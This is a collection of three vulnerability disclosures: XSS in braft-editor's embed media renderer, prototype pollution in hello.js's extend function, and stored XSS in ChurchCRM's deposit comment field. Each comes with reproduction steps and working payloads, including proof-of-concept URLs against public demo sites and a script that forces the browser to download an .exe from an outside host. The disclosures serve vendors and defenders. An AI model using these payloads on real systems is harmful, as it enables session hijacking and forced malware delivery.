Cross Site Scripting (XSS) vulnerability in margox braft-editor version 2.3.8, allows remote attackers to execute arbitrary code via the embed media feature.

Dear Author,  
I’m testivy. I found that the current version of braft-editor has a a cross-site scripting (XSS) allows remote attackers to run arbitrary web script inside an div embed media element by injecting a crafted HTML element into the editor.  
As the offical demo site shown:  
https://braft.margox.cn/demos/basic  
or  
https://braft.margox.cn/  
  
When I come to the media library toolbar and choose the "adding network network resources " button below,and then select the embed media item as the figure shown below:  
  

****Loopholes Reproduce****

1.  Inject a crafted HTML element into the editor just like this  
    <img/src=1 onerror=alert(1)>
2.  Click the insert button  
    
3.  Click the play button to play the inserted video in this editor
4.  View the page and you will see a pop-up which running the arbitrary web script inside.  
    

****Vulnerability details****

This problem mainly occurs in braft-editor/src/renderers/atomics/Embed/index.jsx 

    return (
        <div className="bf-embed-wrap">
          <PlayerModal
            type="embed"
            onRemove={removeEmbed}
            poster={meta ? meta.poster || '' : ''}
            language={language}
            url={url}
            name={name}
            title={language.videoPlayer.embedTitle}
          >
            <div
              className="bf-embed-player"
              dangerouslySetInnerHTML={{ __html: url }}
            />
          </PlayerModal>
        </div>
    

As we can see, the above dangerouslySetInnerHTML ,this accept the url variable from the input without escape that could lead to run the arbitrary code even stealing the user's cookie. .etc.  
If we input the simple script like "<img/src=1 onerror=alert(1)>",the brower will render it to the html as below:  
<div class="bf-embed-player"><img src="1" onerror="alert(1)"></div> and finally pop a alert window.

Best Regards

Prototype pollution vulnerability in MrSwitch hello.js version 1.18.6, allows remote attackers to execute arbitrary code via hello.utils.extend function.

**Abstract**

The function hello.utils.extend, defined in file hello.js, introduces a Prototype Pollution vulnerability, which could result in Cross-Site Scripting.

hello.utils \= {

// Extend the first object with the properties and methods of the second

extend: function(r /\*, a\[, b\[, ...\]\] \*/) {

// Get the arguments as an array but ommit the initial item

Array.prototype.slice.call(arguments, 1).forEach(function(a) {

if (Array.isArray(r) && Array.isArray(a)) {

Array.prototype.push.apply(r, a);

}

else if (r && (r instanceof Object || typeof r \=== 'object') && a && (a instanceof Object || typeof a \=== 'object') && r !== a) {

for (var x in a) {

r\[x\] \= hello.utils.extend(r\[x\], a\[x\]);

}

}

else {

if (Array.isArray(a)) {

// Clone it

a \= a.slice(0);

}

r \= a;

}

});

return r;

}

};

The code on Line 29 has a typical pattern of Prototype Pollution.

    r[x] = hello.utils.extend(r[x], a[x]);
    

The vulnerable lines of code, then, are called on Line 1320, which could allow attackers to pollute the object in JavaScript.  

p \= \_this.merge(\_this.param(location.search || ''), \_this.param(location.hash || ''));

**Proof of Concepts**

As a result, websites, which use the hello.js, might highly likely have Cross-Site Scripting. Take the offical demo of hello.js as an example, the Prototype Pollution could be exploited as follows:

https://adodson.com/hello.js/demos/events.html#state={%22a%22:%221%22,%22\_\_proto\_\_%22:{%22callback%22:%22alert%22}}  
https://adodson.com/hello.js/demos/events.html#state={%22a%22:%221%22,%22\_\_proto\_\_%22:{%22onbeforescriptexecute%22:%22alert(location.href)%22}}  

**Suggestion**

*   Freeze the prototype— use Object.freeze (Object.prototype).
*   Require schema validation of JSON input.
*   Avoid using unsafe recursive merge functions.
*   Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
*   As a best practice use Map instead of Object.

Cross Site Scripting (XSS) vulnerability in ChurchCRM version 4.2.1, allows remote attckers to execute arbitrary code and gain sensitive information via crafted payload in Add New Deposit field in View All Deposit module.

**Name:** Stored Cross Site Scripting leading to Remote File Inclusion vulnerability  
**Description:** ChurchCRM application allows stored XSS , via 'Add new Deposit' module, that is rendered upon 'View All Deposits' page visit.  
Cross Site Scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of JavaScript) to the web application. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.  
**Impact:** The vulnerability allows an attacker to send malicious JavaScript code which could result in hijacking of the user's cookie/session tokens , redirecting the user to a malicious webpage, downloading malicious files hosted on attackers server and performing many other unintended browser actions.  
**Version Affected:** 4.2.1 and below  
**Payload Used:**  
<script>var link = document.createElement('a'); link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'; link.download = ''; document.body.appendChild(link); link.click(); </script>  
**Vulnerable URL:** /master/FindDepositSlip.php  
**Vulnerable Parameters:** Deposit Comment  
**Steps to Reproduce:**

1.  Login to the application, go to 'View all Deposits' module.
2.  Add the payload in the 'Deposit Comment' field and click "Add New Deposit".
3.  Payload is executed and a .exe file is downloaded.

**Reference :**  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17205  
**POC :**  
  
  
**Mitigation:**  
Proper input validation and encoding should be employed to prevent the execution of any hazardous scripts.  
**Note:** There are multiple locations apart from Deposit module where the input is not sanitized properly
